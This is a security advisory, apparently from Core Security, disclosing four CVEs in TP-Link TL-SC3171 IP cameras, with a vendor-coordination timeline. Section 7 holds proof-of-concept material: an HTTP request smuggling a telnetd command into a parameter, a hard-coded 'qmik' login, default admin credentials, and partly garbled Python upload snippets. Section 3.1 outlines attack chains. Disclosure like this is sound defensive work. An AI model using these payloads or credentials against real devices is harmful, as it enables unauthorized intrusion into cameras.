Multiple Vulnerabilities in TP-Link TL-SC3171 IP Cameras

Advisory ID Internal

1. Advisory Information

Title: Multiple Vulnerabilities in TP-Link TL-SC3171 IP Cameras
Advisory ID: CORE-2013-0618
Advisory URL:
Date published: 2013-07-30
Date of last update: 2013-08-06
Vendors contacted: TP-Link
Release mode: Coordinated release

2. Vulnerability Information

Class: OS command injection [CWE-78], Use of hard-coded credentials [CWE-798], Authentication Bypass Issues [CWE-592], Missing Authentication for Critical Function [CWE-306]
Impact: Code execution, Security bypass
Remotely Exploitable: Yes
Locally Exploitable: No
CVE Name: CVE-2013-2578, CVE-2013-2579, CVE-2013-2580, CVE-2013-2581

3. Vulnerability Description

Multiple vulnerabilities have been found in TP-Link TL-SC3171 [1] IP camera running firmware version LM.1.6.18P12_sign5 that could allow an attacker:

  1. [CVE-2013-2578] to execute arbitrary commands through the file /cgi-bin/admin/servetest.
  2. [CVE-2013-2579] to execute arbitrary commands in a shell using hard-coded credentials.
  3. [CVE-2013-2580] to perform unauthenticated remote file uploads.
  4. [CVE-2013-2581] to perform unauthenticated remote firmware upgrades.

3.1. Attack Paths

There are several attack paths that can be exploited by combining these vulnerabilities with other ones discovered by Eliezer Varade Lopez, Javier Repiso Sanchez and Jonas Ropero Castillo [2]. Additional attack paths are available, but the ones listed here allow understanding how an attacker could compromise the affected device.

3.1.1. Attack Path I

(Authentication: none)

  1. Upload a rooted firmware exploiting [CVE-2013-2581].
  2. Reboot the device by exploiting http://<ip-cam>/cgi-bin/reboot[2].
3.1.2. Attack Path II

(Authentication: bypassed)

  1. Reset the device to its factory defaults exploiting http://<ip-cam>/cgi-bin/hardfactorydefault[2]. After this step, the authentication can by bypassed by using admin:admin as a valid username:password.
  2. Reboot the device by exploiting http://<ip-cam>/cgi-bin/reboot[2].
  3. Start the Telnet service exploiting [CVE-2013-2578].
  4. Login to the Telnet service using user qmik (no password) [CVE-2013-2579], and use the device as a pivoting point.

4. Vulnerable Packages

  • TP-Link TL-SC3130 (firmware LM.1.6.18P12_sign5 or below)
  • TP-Link TL-SC3130G (firmware LM.1.6.18P12_sign5 or below)
  • TP-Link TL-SC3171 (firmware LM.1.6.18P12_sign5 or below)
  • TP-Link TL-SC3171G (firmware LM.1.6.18P12_sign5 or below)
  • Other TP-Link cameras and firmware versions are probably affected too, but they were not checked.

5. Vendor Information, Solutions and Workarounds

Vendor provides the links to beta patched firmware versions [3], [4], [5], [6]. The final official versions will be released in the next few days. Please, contact TP-Link for further information.

6. Credits

These vulnerabilities were discovered by Flavio de Cristofaro and researched with the help of Andres Blanco from Core Security Technologies. The publication of this advisory was coordinated by Fernando Miranda from Core Advisories Team.

7. Technical Description / Proof of Concept Code

7.1. OS Command Injection in servetest

[CVE-2013-2578] The file /cgi-bin/admin/servetest has an OS command injection in several of its parameters that can be exploited by an authenticated user to execute arbitrary commands. The following proof of concept starts the telnetd service:

GET /cgi-bin/admin/servetest?cmd=smtp&ServerName=;/usr/sbin/telnetd;&ServerPort=25&ServerSSL=off&RcptToAddr1=q@q&AdminAddr=q@q HTTP/1.1 Accept: */* Accept-Language: en-us Referer: If-Modified-Since: Sat, 1 Jan 2000 00:00:00 GMT Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0) Host: Proxy-Connection: Keep-Alive Cookie: VideoFmt=1 Authorization: Basic YWRtaW46YWRtaW4= Content-Length: 2 

7.2. Hard-coded credentials in telnet service

[CVE-2013-2579] The affected system includes a hard-coded login with no password which could be used by a remote attacker to access the OS of the affected device using the built-in telnet service:

username: qmik password: (none) 

The qmik user is allowed to execute the command su, allowing the user to execute arbitrary commands with root level privileges. The telnet service can be enabled through [CVE-2013-2578].

7.3. Unauthenticated remote file uploads

[CVE-2013-2580] The file /cgi-bin/uploadfile allows an unauthenticated user to perform remote file uploads as shown in the following Python PoC:

import requests fileName = "lala.tmp" f = open(fileName, "w") f.write("lala") f.close()"", files={fileName: open(fileName, "rb")}) 

The uploaded file (in this example lala.tmp) will be hosted in the /mnt/mtd directory.

7.4. Unauthenticated remote firmware upgrades

[CVE-2013-2581] The file /cgi-bin/firmwareupgrade allows an unauthenticated user to perform remote firmware upgrades as shown in the following Python POC:

import requests requests.get("") fileName = "COM_T01F001_LM.1.6.18P12_sign5_TPL.TL-SC3171.bin" cookies={"VideoFmt":"1"}"", files={"SetFWFileName" : (fileName, open(fileName, "rb"))}, cookies=cookies) 

8. Report Timeline

  • 2013-06-12: Core Security Technologies notifies the TP-Link team of the vulnerability.
  • 2013-06-18: Core Security Technologies notifies the TP-Link team of the vulnerability and set the estimated publication date of the advisory for July 10, 2013.
  • 2013-06-19: TP-Link answers saying that these vulnerabilities are the same as the ones published on May 28, 2013.
  • 2013-06-26: Core Security Technologies notifies the TP-Link team that these are new, different, vulnerabilities and sends a draft report with technical information.
  • 2013-06-26: Vendor acknowledges the receipt of the technical report.
  • 2013-07-01: Vendor requests additional technical information.
  • 2013-07-04: Core re-sends an improved technical report with additional information regarding possible attack paths [Sec. 3.1].
  • 2013-07-10: First release date missed.
  • 2013-07-15: Core asks for a status update.
  • 2013-07-22: Vendor notifies that a patched firmware version will be released on July 29th.
  • 2013-07-22: Core re-schedules the advisory publication for July 29th.
  • 2013-07-26: Vendor notifies that a (pre-release) patched firmware version is available and being tested. The final firmware version will be released in the next few days.
  • 2013-07-30: Advisory CORE-2013-0618 is published.
  • 2013-08-06: Core updates the report including the official beta firmware [3], [4], [5], [6].

9. References

[1] TP-Link TL-SC3171,
[2] Security Analysis of IP video surveillance cameras,

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12. Disclaimer

The contents of this advisory are copyright (c) 2013 Core Security Technologies and (c) 2013 CoreLabs, and are licensed under a Creative Commons Attribution Non-Commercial Share-Alike 3.0 (United States) License:

13. PGP/GPG Keys

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